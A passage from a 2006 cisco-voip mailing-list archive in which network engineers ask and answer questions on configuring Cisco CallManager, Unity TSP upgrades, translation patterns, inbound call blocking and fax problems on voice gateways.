commands, when I do a change in the CCM MGCP endpoint page and I  
reset the gateway, is this change applied in the gateway?

I want to change the call classification from 'Use system default' to  
'OnNet'. How could I now if changes have been correctly propagated?

Thanks in advance,

Regards,

Ruben

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From wsisk at cisco.com  Wed Feb  1 21:04:59 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  1 21:05:10 2006
Subject: [cisco-voip] Single CCM, Multiple Corporate Directories
In-Reply-To: <90B962BEA7D42F40BF0DF00044A5A1B60CA9B31D@x-np5.am.group.local>
References: <90B962BEA7D42F40BF0DF00044A5A1B60CA9B31D@x-np5.am.group.local>
Message-ID: <CFB8850D-6F7A-43AE-A4DF-6242B75D353E@cisco.com>

Use the ldapsearch.asp from ip phone services SDK to modify your ldap  
search as you wish.
http://www.cisco.com/cgi-bin/dev_support/access_level/product_support

otherwise the hard way would be to copy the existing corporate  
directory scripts and tweak the loop that prints the entries to only  
print entries for that office.

/Wes

On Feb 1, 2006, at 4:38 PM, Schuett, Court (MBNAP it) wrote:

I know this has been asked before but I've been looking through the  
archives and can't seem to find it anywhere.

We have a situation where we have a new site that does not want to  
see the entire corporate directory, they just want to see the people  
in their office.  Is it possible to set up multiple directories or  
even filter the results so they only see what they want to see?

We're running CCM 4.1(3) and the directory is not integrated with AD.

Thanks!

Court Schuett

Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
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From cisco at dignans.com  Wed Feb  1 23:50:06 2006
From: cisco at dignans.com (Andrew Dignan)
Date: Wed Feb  1 23:50:09 2006
Subject: [cisco-voip] Unity TSP
Message-ID: <3340.38.115.189.5.1138855806.squirrel@www.dignans.com>

Can anyone make sense of the Unity TSP download page.  It has two versions
of 8.0.2.  One of the is 8.02 and the other is 8.0.2ENU (they are
different sizes).  Also, 8.1.1 is the latest version but 8.0.2 has the
latest release date.  8.1.1 is also smaller in size than 8.0.2 but
shouldn't 8.1.1 contain the fixes for 8.0(2) as well?

If anyone knows for sure out there let me know as I am supposed to upgrade
a Unity server tonight.

Thanks

From Leonard at isccorp.net  Thu Feb  2 00:10:38 2006
From: Leonard at isccorp.net (Leonard Lane)
Date: Thu Feb  2 00:10:51 2006
Subject: [cisco-voip] Unity TSP
Message-ID: <D31FF984A9880B44A118184FFD9E7C02D84CC3@iscmail.isccorp.net>

What version of Unity and Callmanager?

 
Leonard Lane
Network Engineer
CCNA, CCDA, CCVP, CCIE #14680, Voice
 
email: leonard at isccorp.net
support: 866.622.6722
www.isccorp.net
 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrew Dignan
Sent: Wednesday, February 01, 2006 9:50 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Unity TSP

Can anyone make sense of the Unity TSP download page.  It has two
versions
of 8.0.2.  One of the is 8.02 and the other is 8.0.2ENU (they are
different sizes).  Also, 8.1.1 is the latest version but 8.0.2 has the
latest release date.  8.1.1 is also smaller in size than 8.0.2 but
shouldn't 8.1.1 contain the fixes for 8.0(2) as well?

If anyone knows for sure out there let me know as I am supposed to
upgrade
a Unity server tonight.

Thanks
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From cisco at dignans.com  Thu Feb  2 00:34:05 2006
From: cisco at dignans.com (Andrew Dignan)
Date: Thu Feb  2 00:34:08 2006
Subject: [cisco-voip] Unity TSP
In-Reply-To: <D31FF984A9880B44A118184FFD9E7C02D84CC3@iscmail.isccorp.net>
References: <D31FF984A9880B44A118184FFD9E7C02D84CC3@iscmail.isccorp.net>
Message-ID: <3736.38.115.189.5.1138858445.squirrel@www.dignans.com>

CallManager 4.0(5) with CallManager 4.1(3)SR1.  Currently on 8.01b TSP and
upgrading to resolve some failed blind transfer issues.

> What version of Unity and Callmanager?
>
>
> Leonard Lane
> Network Engineer
> CCNA, CCDA, CCVP, CCIE #14680, Voice
>
> email: leonard at isccorp.net
> support: 866.622.6722
> www.isccorp.net
>
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrew Dignan
> Sent: Wednesday, February 01, 2006 9:50 PM
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] Unity TSP
>
> Can anyone make sense of the Unity TSP download page.  It has two
> versions
> of 8.0.2.  One of the is 8.02 and the other is 8.0.2ENU (they are
> different sizes).  Also, 8.1.1 is the latest version but 8.0.2 has the
> latest release date.  8.1.1 is also smaller in size than 8.0.2 but
> shouldn't 8.1.1 contain the fixes for 8.0(2) as well?
>
> If anyone knows for sure out there let me know as I am supposed to
> upgrade
> a Unity server tonight.
>
> Thanks
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>


From cisco at dignans.com  Thu Feb  2 00:39:36 2006
From: cisco at dignans.com (Andrew Dignan)
Date: Thu Feb  2 00:39:40 2006
Subject: [cisco-voip] Unity TSP
In-Reply-To: <3736.38.115.189.5.1138858445.squirrel@www.dignans.com>
References: <D31FF984A9880B44A118184FFD9E7C02D84CC3@iscmail.isccorp.net>
	<3736.38.115.189.5.1138858445.squirrel@www.dignans.com>
Message-ID: <3849.38.115.189.5.1138858776.squirrel@www.dignans.com>

Lets try that again:

Unity 4.0(5) with CallManager 4.1(3)SR1.  Currently on 8.01b TSP and
upgrading to resolve some failed blind transfer issues.

> CallManager 4.0(5) with CallManager 4.1(3)SR1.  Currently on 8.01b TSP and
> upgrading to resolve some failed blind transfer issues.
>
>> What version of Unity and Callmanager?
>>
>>
>> Leonard Lane
>> Network Engineer
>> CCNA, CCDA, CCVP, CCIE #14680, Voice
>>
>> email: leonard at isccorp.net
>> support: 866.622.6722
>> www.isccorp.net
>>
>>
>> -----Original Message-----
>> From: cisco-voip-bounces at puck.nether.net
>> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrew Dignan
>> Sent: Wednesday, February 01, 2006 9:50 PM
>> To: cisco-voip at puck.nether.net
>> Subject: [cisco-voip] Unity TSP
>>
>> Can anyone make sense of the Unity TSP download page.  It has two
>> versions
>> of 8.0.2.  One of the is 8.02 and the other is 8.0.2ENU (they are
>> different sizes).  Also, 8.1.1 is the latest version but 8.0.2 has the
>> latest release date.  8.1.1 is also smaller in size than 8.0.2 but
>> shouldn't 8.1.1 contain the fixes for 8.0(2) as well?
>>
>> If anyone knows for sure out there let me know as I am supposed to
>> upgrade
>> a Unity server tonight.
>>
>> Thanks
>> _______________________________________________
>> cisco-voip mailing list
>> cisco-voip at puck.nether.net
>> https://puck.nether.net/mailman/listinfo/cisco-voip
>>
>
>


From cisco at dignans.com  Thu Feb  2 00:47:36 2006
From: cisco at dignans.com (Andrew Dignan)
Date: Thu Feb  2 00:47:39 2006
Subject: [cisco-voip] Unity TSP
In-Reply-To: <3849.38.115.189.5.1138858776.squirrel@www.dignans.com>
References: <D31FF984A9880B44A118184FFD9E7C02D84CC3@iscmail.isccorp.net>   
	<3736.38.115.189.5.1138858445.squirrel@www.dignans.com>
	<3849.38.115.189.5.1138858776.squirrel@www.dignans.com>
Message-ID: <4029.38.115.189.5.1138859256.squirrel@www.dignans.com>

The bug I am running into is:

CSCsb27128 - Cisco?Unity disconnects blind transfers to devices forwarded
to voice mail

It is listed as a resolved caveat in the 8.0(2) Release Notes but I am not
sure what the difference is between 8.0.2 and 8.0.2ENU and if its resolved
in 8.1.1 (it doesn't appear the TSP updates are cumulative because
8.0.2ENU is larger than 8.1.1.)

> Lets try that again:
>
> Unity 4.0(5) with CallManager 4.1(3)SR1.  Currently on 8.01b TSP and
> upgrading to resolve some failed blind transfer issues.
>
>> CallManager 4.0(5) with CallManager 4.1(3)SR1.  Currently on 8.01b TSP
>> and
>> upgrading to resolve some failed blind transfer issues.
>>
>>> What version of Unity and Callmanager?
>>>
>>>
>>> Leonard Lane
>>> Network Engineer
>>> CCNA, CCDA, CCVP, CCIE #14680, Voice
>>>
>>> email: leonard at isccorp.net
>>> support: 866.622.6722
>>> www.isccorp.net
>>>
>>>
>>> -----Original Message-----
>>> From: cisco-voip-bounces at puck.nether.net
>>> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrew Dignan
>>> Sent: Wednesday, February 01, 2006 9:50 PM
>>> To: cisco-voip at puck.nether.net
>>> Subject: [cisco-voip] Unity TSP
>>>
>>> Can anyone make sense of the Unity TSP download page.  It has two
>>> versions
>>> of 8.0.2.  One of the is 8.02 and the other is 8.0.2ENU (they are
>>> different sizes).  Also, 8.1.1 is the latest version but 8.0.2 has the
>>> latest release date.  8.1.1 is also smaller in size than 8.0.2 but
>>> shouldn't 8.1.1 contain the fixes for 8.0(2) as well?
>>>
>>> If anyone knows for sure out there let me know as I am supposed to
>>> upgrade
>>> a Unity server tonight.
>>>
>>> Thanks
>>> _______________________________________________
>>> cisco-voip mailing list
>>> cisco-voip at puck.nether.net
>>> https://puck.nether.net/mailman/listinfo/cisco-voip
>>>
>>
>>
>
>


From Leonard at isccorp.net  Thu Feb  2 01:05:18 2006
From: Leonard at isccorp.net (Leonard Lane)
Date: Thu Feb  2 01:05:26 2006
Subject: [cisco-voip] Unity TSP
Message-ID: <D31FF984A9880B44A118184FFD9E7C02D84CC4@iscmail.isccorp.net>

If you are upgrading to Unity 4.1(1) then version 8.0(2) will be installed automatically.


-----Original Message-----
From: Andrew Dignan [mailto:cisco at dignans.com] 
Sent: Wednesday, February 01, 2006 10:48 PM
To: cisco at dignans.com
Cc: cisco at dignans.com; Leonard Lane; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Unity TSP

The bug I am running into is:

CSCsb27128 - Cisco?Unity disconnects blind transfers to devices forwarded
to voice mail

It is listed as a resolved caveat in the 8.0(2) Release Notes but I am not
sure what the difference is between 8.0.2 and 8.0.2ENU and if its resolved
in 8.1.1 (it doesn't appear the TSP updates are cumulative because
8.0.2ENU is larger than 8.1.1.)

> Lets try that again:
>
> Unity 4.0(5) with CallManager 4.1(3)SR1.  Currently on 8.01b TSP and
> upgrading to resolve some failed blind transfer issues.
>
>> CallManager 4.0(5) with CallManager 4.1(3)SR1.  Currently on 8.01b TSP
>> and
>> upgrading to resolve some failed blind transfer issues.
>>
>>> What version of Unity and Callmanager?
>>>
>>>
>>> Leonard Lane
>>> Network Engineer
>>> CCNA, CCDA, CCVP, CCIE #14680, Voice
>>>
>>> email: leonard at isccorp.net
>>> support: 866.622.6722
>>> www.isccorp.net
>>>
>>>
>>> -----Original Message-----
>>> From: cisco-voip-bounces at puck.nether.net
>>> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrew Dignan
>>> Sent: Wednesday, February 01, 2006 9:50 PM
>>> To: cisco-voip at puck.nether.net
>>> Subject: [cisco-voip] Unity TSP
>>>
>>> Can anyone make sense of the Unity TSP download page.  It has two
>>> versions
>>> of 8.0.2.  One of the is 8.02 and the other is 8.0.2ENU (they are
>>> different sizes).  Also, 8.1.1 is the latest version but 8.0.2 has the
>>> latest release date.  8.1.1 is also smaller in size than 8.0.2 but
>>> shouldn't 8.1.1 contain the fixes for 8.0(2) as well?
>>>
>>> If anyone knows for sure out there let me know as I am supposed to
>>> upgrade
>>> a Unity server tonight.
>>>
>>> Thanks
>>> _______________________________________________
>>> cisco-voip mailing list
>>> cisco-voip at puck.nether.net
>>> https://puck.nether.net/mailman/listinfo/cisco-voip
>>>
>>
>>
>
>



From cerioli at alternet.it  Thu Feb  2 03:37:48 2006
From: cerioli at alternet.it (Andrea Cerioli)
Date: Thu Feb  2 03:38:27 2006
Subject: [cisco-voip] Block Incoming Calls
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01367E29@MREXVS01.bc.broward.cty>
References: <965C0255FD5828438E34F9A68ECA76E740A962@svcexch02.firm.fenwick.llp>
	<26B357EF9FB7D04A989C9E82A9E5436E01367E29@MREXVS01.bc.broward.cty>
Message-ID: <43E1C4DC.5050306@alternet.it>

I guess you can do that using a simple and possibily "mute" TCL IVR.
As far as I remember, the tcl IVR script should be able to block calls
based on a local list of banned numbers, or, if you
have a recent IOS release, it can use a list served by an http server.
You then must bind the IVR to your pots dial peer and get the service for
any type of call leg, I think.

Ortiz, Carlos wrote:
> I think the ideas that people put out there were for H.323 only.  My 
> telco also says that this is not possible on PRI....bummer :(
>  
> Carlos
> 
> ------------------------------------------------------------------------
> *From:* Stu Packett [mailto:SPackett at fenwick.com]
> *Sent:* Wed 2/1/2006 2:30 PM
> *To:* James Dust; Ortiz, Carlos; cisco-voip at puck.nether.net
> *Subject:* RE: [cisco-voip] Block Incoming Calls
> 
> Does anyone have a MGCP and H.323 sample config to block inbound calls 
> based on the calling number?
> 
> ------------------------------------------------------------------------
> *From:* cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] *On Behalf Of *James Dust
> *Sent:* Wednesday, February 01, 2006 7:34 AM
> *To:* Ortiz, Carlos; cisco-voip at puck.nether.net
> *Subject:* RE: [cisco-voip] Block Incoming Calls
> 
> Correct.
> 
> ------------------------------------------------------------------------
> *From:* Ortiz, Carlos [mailto:CORTIZ at broward.org]
> *Sent:* 01 February 2006 15:30
> *To:* James Dust; cisco-voip at puck.nether.net
> *Cc:* rratliff at cisco.com
> *Subject:* RE: [cisco-voip] Block Incoming Calls
> 
> I have MGCP gateways.  I imagine this refers to H.323?..
> 
>  
> 
> ------------------------------------------------------------------------
> 
> *From:* James Dust [mailto:james.dust at charles-stanley.co.uk]
> *Sent:* Wednesday, February 01, 2006 10:26 AM
> *To:* Ortiz, Carlos; cisco-voip at puck.nether.net
> *Subject:* RE: [cisco-voip] Block Incoming Calls
> 
>  
> 
> You could try setting up a 'voice translation-rule' on the gateway, and 
> then set it to reject the number.
> 
> ------------------------------------------------------------------------
> 
> *From:* cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] *On Behalf Of *Ortiz, Carlos
> *Sent:* 01 February 2006 15:18
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] Block Incoming Calls
> 
> Is there an easy way to block INBOUND calls based on the calling number? 
> I imagine I could set this up with the telco but I would prefer to do it 
> if possible?..  
> 
>  
> 
> 
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> Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd
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> https://puck.nether.net/mailman/listinfo/cisco-voip

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| Andrea Cerioli               alter.net Srl              |
| e-mail: cerioli at alter.it     Via Attilio Ambrosini, 177 |
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| FAX:   +39-6-5405883         Italy                      |



From akoul at dataways.gr  Thu Feb  2 07:08:13 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Thu Feb  2 07:08:43 2006
Subject: [cisco-voip] Create a device profile exactly as an existing device
Message-ID: <43E1F62D.8040306@dataways.gr>

Hi all,
lets say that i have a device 7960 with a lot of configuration on it (5 
lines, different CSS etc). I want to create a device profile with the 
same settings.
Can i do that quickly without having to insert all iformation one by one?
Thanks

From sfahmy at istnetworks.com  Thu Feb  2 08:08:40 2006
From: sfahmy at istnetworks.com (Sherif Fahmy)
Date: Thu Feb  2 08:07:02 2006
Subject: [cisco-voip] Avaya- CiscoICM
Message-ID: <002401c627f9$c94ffbc0$a90110ac@RICO>

So far i have a configuration where i have a gatekeeper, ISN (CVP), an ICM and an Avaya ACD Definity G3...

i have been able to get them all up running finally ... well actually with a little expert help and i was able to have the the icm to route a call on the Avaya VDN .. which then the avaya sends to an agent...what happens here is the isn plays some voice application to the user then whne the use needs to speek to an agent the ISN asks the ICM what to do.. the ICM ... tells to route it to the Avaya via the Gatekeeper...the avaya then sees a call and routes it to an agent .. 

now i want to have an agent log in into CTI on the ICM with the Avaya Extension and to be able actually use Geotel  CTI Desktop or CTI OS Client to to the avaya 


IMPORTANT TO NOTE: that i am working right now in a lab enviroment where i am working without CMS .. therefore its a CMS-less deployment 
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From pwalenta at wi.rr.com  Thu Feb  2 09:46:16 2006
From: pwalenta at wi.rr.com (Philip Walenta)
Date: Thu Feb  2 09:46:20 2006
Subject: [cisco-voip] CTIOS on Metaframe
Message-ID: <200602021446.k12EkFbi023432@ms-smtp-02.rdc-kc.rr.com>

I just stumbled on this document that details how to run CTIOS in a
Metaframe environment.
 
http://www.cisco.com/application/pdf/en/us/guest/products/ps14/c1067/ccmigra
tion_09186a008058590a.pdf
 
It's 2MB.  Happy reading.
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From jgrace at digitelusa.net  Thu Feb  2 10:42:09 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb  2 10:48:42 2006
Subject: [cisco-voip] fxs faxs are geting cutoff 
Message-ID: <200602021047546.SM01568@3729434770>

We have a vg224 gateway with fax line configure on it.  We are seeing that
our faxs are droping when we fax long distance.  The connections happens but
do not complete.  Im not sure how to trouble shoot this because local faxes
work fine.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Matt.Slaga at us.didata.com  Thu Feb  2 11:01:03 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Thu Feb  2 11:01:43 2006
Subject: [cisco-voip] fxs faxs are geting cutoff 
Message-ID: <C1FE15183DA37645BC0633BC604E44F0CEDE91@USNAEXCH.na.didata.local>

Do you have a separate telco trunk for dedicated long distance?  If so,
check your codec to make sure it is 711.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 02, 2006 10:42 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] fxs faxs are geting cutoff 



We have a vg224 gateway with fax line configure on it.  We are seeing
that our faxs are droping when we fax long distance.  The connections
happens but do not complete.  Im not sure how to trouble shoot this
because local faxes work fine.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 




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From Ruben.Montes at eu.didata.com  Thu Feb  2 11:17:39 2006
From: Ruben.Montes at eu.didata.com (Ruben Montes (EU))
Date: Thu Feb  2 11:17:45 2006
Subject: [cisco-voip] fxs faxs are geting cutoff 
Message-ID: <D305A0848689344BB98F14A3F13161B71D2503@eubebrusvex.eu.didata.local>

Hi James,

 

Are you connected to the "outside" world with a PRI connection?

 

  _____  

De: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] En nombre de James Grace
Enviado el: jueves, 02 de febrero de 2006 16:42
Para: cisco-voip at puck.nether.net
Asunto: [cisco-voip] fxs faxs are geting cutoff 

 

We have a vg224 gateway with fax line configure on it.  We are seeing
that our faxs are droping when we fax long distance.  The connections
happens but do not complete.  Im not sure how to trouble shoot this
because local faxes work fine.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From Henry.Lum at newstep.com  Thu Feb  2 11:26:06 2006
From: Henry.Lum at newstep.com (Henry Lum)
Date: Thu Feb  2 11:24:21 2006
Subject: [cisco-voip] (no subject)
Message-ID: <E9024CA51D9D8042AED3FA8DC77B1241D3FC27@mail1.newstep.com>

Hi,

 

I want to know if there is a CCM CTIManager simulator available that I
can use to generate call traffic against my JTAPI application. The
application registers a RouteTerminal (Route point in CCM) and routes
calls. I can possibly use the actual CCM to generate calls but I can't
run a load test against it. 

 

If such simulator is not readily available, I am plan to write a
simulator myself. However, I don't know the protocol between JTAPI and
CTIManager, is there an API or documentation about it?

 

Thanks

Henry

 

 

henry lum | product development | newstep networks | 416.979.5404 x230 |
henry.lum at newstep.com <mailto:henry.lum at newstep.com> 

 

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From lzaichkowsky at cyracom.com  Thu Feb  2 11:53:46 2006
From: lzaichkowsky at cyracom.com (Lucas Zaichkowsky)
Date: Thu Feb  2 11:53:36 2006
Subject: [cisco-voip] Translation Patterns
Message-ID: <100A3AA0CA6D334ABBC0D53E9BDB7DA3011CC41A@tucexh00.cyracom.com>

We're using MGCP. The translation patters are in use in CCM 4.0. For
example, there's a set of them that translate our old dial plan of 2XX
to our new dial plan of 1XXX. So if I try dialing a local number that
starts with 285, it sees the translation pattern for 285 and calls 1653.
I also have about a dozen that translate from one 1XXX extension to
another.

 

Lucas Zaichkowsky

System Administrator

CyraCom

(520) 745-9447 ext. 1666

(520) 745-9022 fax

www.cyracom.com

________________________________

From: Brian Henry [mailto:Brian.Henry at apptis.com] 
Sent: Monday, January 30, 2006 10:20 AM
To: Lucas Zaichkowsky; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Translation Patterns

 

Tell me how you are using translation patterns? Incoming/Outgoing

Are you using MGCP or H323?

 

Brian

 

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Lucas Zaichkowsky
Sent: Mon 1/30/2006 12:15 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Translation Patterns

        I recently installed the VIC for analog lines (EVM-HD-8FXS/DID)
and have it configured in the gateway configuration. I created a "No
Prefix" calling search space with "No prefix" partitions for reaching
local, international, long distance, and toll free numbers. My goal is
to make these lines just like the analog lines we have coming in from
POTS.

        The issue that I'm having is with translation patterns. How can
I make it so these ports don't use them?

Lucas Zaichkowsky
System Administrator
CyraCom
(520) 745-9447 ext. 1666
(520) 745-9022 fax
www.cyracom.com

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From lohnert at gmail.com  Thu Feb  2 12:19:33 2006
From: lohnert at gmail.com (Martin Lohnert)
Date: Thu Feb  2 12:19:36 2006
Subject: [cisco-voip] IPCCx upgrade standard to premium
Message-ID: <1bfd8b6f0602020919ma612ef4pca4c24c2968f669d@mail.gmail.com>

Hi,
what's the correct way to upgrade IPCC express from standard to premium? We
had 4.0 STD installed, used a new (premium) license file, ran setup from new
media (4.0.2) which upgraded the system to the latest version, but after
reboot (to my surprise) the 'display licence ' page still says "Package:
IPCC Express Standard"
Does this have something to do with the license file, or the installation
itself?
ML
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From Brian.Henry at apptis.com  Thu Feb  2 12:22:29 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Thu Feb  2 12:22:33 2006
Subject: [cisco-voip] Translation Patterns
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC02838084@CH-EXCH-02.intelltech.apptis.inc>

You could do this for an example.
 
This just handles the 2XX to 1XXX coming from the PSTN
Partition:
create an inbound translation partition like - "p-inbndtrans"
Calling Search Space:
create a calling search space like "inbndgw-css" - Inbound Gateway Calling Search Space
contains p-inbndtrans (I do not know if you have anything else like CER, etc..)
create a calling search space like "inbndtrans-css" - Inbound Translation Calling Search Space
p-phones
Your phones calling search space "devpstn-css" should contain
p-phones
(There could be more like an p-outbndtrans, etc..)
p-site(x)pstn
 
Translation Pattern
Pattern: 2XX
Partition: p-inbnd
Numbering Plan - NANP
Calling Search Space - inbndtrans-css
 
Called Party Transformation : 11XX (Since you only have "99" possibilities from your old dial plan you can only match up one-to-one unless you create a hunt list that lets say 99 points to but has extensions 1201, 1355, 1455, 1878 a part of, let me know if I am making any since.
 
I guess I am little confused in that if you changed your dial plan and your telco is sending you 4-digits that match your "new" DN's then why you would need this I do not know.
 
Brian

________________________________

From: Lucas Zaichkowsky [mailto:lzaichkowsky at cyracom.com]
Sent: Thu 2/2/2006 11:53 AM
To: cisco-voip at puck.nether.net
Cc: Brian Henry
Subject: RE: [cisco-voip] Translation Patterns



We're using MGCP. The translation patters are in use in CCM 4.0. For example, there's a set of them that translate our old dial plan of 2XX to our new dial plan of 1XXX. So if I try dialing a local number that starts with 285, it sees the translation pattern for 285 and calls 1653. I also have about a dozen that translate from one 1XXX extension to another.

 

Lucas Zaichkowsky

System Administrator

CyraCom

(520) 745-9447 ext. 1666

(520) 745-9022 fax

www.cyracom.com

________________________________

From: Brian Henry [mailto:Brian.Henry at apptis.com] 
Sent: Monday, January 30, 2006 10:20 AM
To: Lucas Zaichkowsky; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Translation Patterns

 

Tell me how you are using translation patterns? Incoming/Outgoing

Are you using MGCP or H323?

 

Brian

 

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Lucas Zaichkowsky
Sent: Mon 1/30/2006 12:15 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Translation Patterns

        I recently installed the VIC for analog lines (EVM-HD-8FXS/DID)
and have it configured in the gateway configuration. I created a "No
Prefix" calling search space with "No prefix" partitions for reaching
local, international, long distance, and toll free numbers. My goal is
to make these lines just like the analog lines we have coming in from
POTS.

        The issue that I'm having is with translation patterns. How can
I make it so these ports don't use them?

Lucas Zaichkowsky
System Administrator
CyraCom
(520) 745-9447 ext. 1666
(520) 745-9022 fax
www.cyracom.com

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

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From jcampbell at ci.davidson.nc.us  Thu Feb  2 13:25:41 2006
From: jcampbell at ci.davidson.nc.us (Campbell, Jeremy)
Date: Thu Feb  2 13:22:56 2006
Subject: [cisco-voip] wildcard translation pattern
Message-ID: <F81B53847D3DC945A55B555B5555CC797D69B2@davnc03.ci.davidson.nc.us>

We have a number of telephone numbers that have been assigned to us that
we do not use at the moment.  I'd like for calls coming in on the unused
lines to go to our auto-attendant as if the caller had dialed the main
line.  Can I create a wildcard translation pattern in CCM that will
match on inbound calls not otherwise having translation patterns?  Or,
is there some other mechanism I can use to achieve the same result?  

 

Thanks,

Jeremy

________________________________________ 
Jeremy P. Campbell 
Information Systems Director 
Town of Davidson, NC 
704-940-9632 - voice direct 
704-892-7591 - voice main 
704-892-3971 - fax 

jcampbell at ci.davidson.nc.us

 

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From Scott.Voll at wesd.org  Thu Feb  2 13:28:46 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb  2 13:28:54 2006
Subject: [cisco-voip] wildcard translation pattern
Message-ID: <D713462ED535184D830F6F6301753E7E01BE123C@VISHNU.wesd.org>

Yes a translation patter would be a great way of doing it.

 

Something like 2xxx and change it to the main number.

 

Pretty easy.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Campbell,
Jeremy
Sent: Thursday, February 02, 2006 10:26 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] wildcard translation pattern

 

We have a number of telephone numbers that have been assigned to us that
we do not use at the moment.  I'd like for calls coming in on the unused
lines to go to our auto-attendant as if the caller had dialed the main
line.  Can I create a wildcard translation pattern in CCM that will
match on inbound calls not otherwise having translation patterns?  Or,
is there some other mechanism I can use to achieve the same result?  

 

Thanks,

Jeremy

________________________________________ 
Jeremy P. Campbell 
Information Systems Director 
Town of Davidson, NC 
704-940-9632 - voice direct 
704-892-7591 - voice main 
704-892-3971 - fax 

jcampbell at ci.davidson.nc.us

 

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From jgrace at digitelusa.net  Thu Feb  2 14:40:54 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb  2 14:47:28 2006
Subject: [cisco-voip] fxs faxs are geting cutoff 
In-Reply-To: <C1FE15183DA37645BC0633BC604E44F0CEDE91@USNAEXCH.na.didata.local>
Message-ID: <200602021446187.SM01568@3729434770>

Thanks  this is setup as mgcp.  I check the pri controller and there is no
slips.  We are using quest for long dist.  And we can some times get up to 5
pages thru before lost of connections  

 

 

  _____  

From: Matt Slaga (US) [mailto:Matt.Slaga at us.didata.com] 
Sent: Thursday, February 02, 2006 11:01 AM
To: James Grace; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] fxs faxs are geting cutoff 

 

Do you have a separate telco trunk for dedicated long distance?  If so,
check your codec to make sure it is 711.

 

  _____  

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 02, 2006 10:42 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] fxs faxs are geting cutoff 

We have a vg224 gateway with fax line configure on it.  We are seeing that
our faxs are droping when we fax long distance.  The connections happens but
do not complete.  Im not sure how to trouble shoot this because local faxes
work fine.  

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

  _____  

Disclaimer:

This e-mail communication and any attachments may contain confidential
and privileged information and is for use by the designated
addressee(s) named above only. If you are not the intended addressee,
you are hereby notified that you have received this communication in
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From dannyhalle at gmail.com  Thu Feb  2 16:52:59 2006
From: dannyhalle at gmail.com (Danny Halle)
Date: Thu Feb  2 16:53:05 2006
Subject: [cisco-voip] Registration to CCM thru PIX
Message-ID: <43E27F3B.30301@gmail.com>

Hi all,

I'm looking for any advice/docs on how to register a 1760 GW in a 
private subnet (10.0.1.0/24 connected to a public router) to a CCM in a 
different private subnet (10.25.0.0/24) thru a PIX.
The network looks like this:

1760GW(10.0.1.x) ---> 3640ROUTER(10.0.1.1 and 99.99.99.1) --> 
PIX(99.99.99.2 and 10.25.0.1) --> CCM(10.25.0.x)

Thanks and regards, Danny

From zephy316 at gmail.com  Thu Feb  2 17:17:49 2006
From: zephy316 at gmail.com (Israel Lang)
Date: Thu Feb  2 17:17:53 2006
Subject: [cisco-voip] Postage machine
Message-ID: <91e236d30602021417w67ea3060m2d2893ce724228d5@mail.gmail.com>

Anyone ever have the opportunity to get a postage machine working through a
FXS port or ATA? If so any "magic" that you can share with me?

Thanks.

--
Have a great day!!!!!!!!!!
zephy316_gmail.com

Replace the _ with an @ symbol
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From bcarter at sentinel.com  Thu Feb  2 18:08:17 2006
From: bcarter at sentinel.com (Carter, Bill)
Date: Thu Feb  2 18:08:25 2006
Subject: [cisco-voip] Postage machine
Message-ID: <6A0744639B86DD459433108DBF101D26D211EB@MAIL01.sentinel.com>

Not a postage machine, but I have gotten a time clock to work on a FXS
port.  These types of devices should be thought of as modems, and ATAs
